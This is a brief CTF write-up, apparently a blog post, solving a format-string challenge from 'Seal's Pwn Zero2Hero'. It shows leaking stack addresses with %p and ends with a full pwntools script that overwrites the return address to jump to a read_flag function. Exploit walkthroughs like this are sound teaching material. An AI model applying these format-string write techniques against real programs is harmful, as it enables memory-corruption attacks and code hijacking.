Seal’s Pwn Zero2Hero Stack Challenges - Format String Write

1 minute read

This was challenge 8 from Seal’s Pwn Zero2Hero.


Source was provided for this challenge 8013273fbbdc00fa0f53ef272d0118ac.png

The program prints the contents of the input and then memsets it.

Vulnerability

On line 34 there’s a format string vuln.

Exploitation

we can send a lot of %p's to leak the stack and map out the addresses we see. Started off by sending 21 %p.'s (because the buffer size is 64 bytes). I was able to leak multiple libc address (0x7ffff7 addresses), the stack canary (offset 15), the address of main (offset 19), and a stack address (offfset 21).

We can also see the offset of our input which is 6. The 0x70252e… is just %p. in hex.

ee51834c9a26e6381f23b0f55724f8f5.png

086f5062ec5505c910c9445cedf9a73f.png

With the stack leak, at index 21, we can calculate the offset to the return address and use that to overwrite it. This will allow us to eventually jump to the read_flag function.

If the stack leak was 0x7fffffffde98 we can substract the return address from it and get an offset of 0x110.

a6d5b3b5670bb513f92ec58b8a01d28a.png b63d4e1bfe733abf6081fd9f95681a87.png

Using fmtstr_payload from pwntools lets us overwrite the return address. We do run into a movaps issue, so we need to realign the stack by using a ret gadget. We also run into a printf_positional issue. To bypass that we can just send out the payload a byte at a time in a loop.

Solution

Running the script below gets the flag

from pwn import *

elf = context.binary = ELF("vuln", checksec=False)
gs = '''
c
b *0x401372
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)

payload = b"%21$p"
p.sendline(payload)

leak = int(p.recvline().strip(), 16)
log.info(f"[*] Leaked stack address {hex(leak)}")

retaddr = leak - 0x110
log.info(f"[*] Return address {hex(retaddr)}")

ret = 0x40101a

payload = b''
payload += p64(ret)
payload += p64(elf.sym.read_flag)

# offset of input was 6
# sending this way to bypass printf_positional issue
for i in range(len(payload)):
    p.sendline(fmtstr_payload(6, {retaddr + i: p8(payload[i])}))

p.sendline(b'y')
p.interactive()

438c0eb788ff70d3a52662ce3b292f9e.png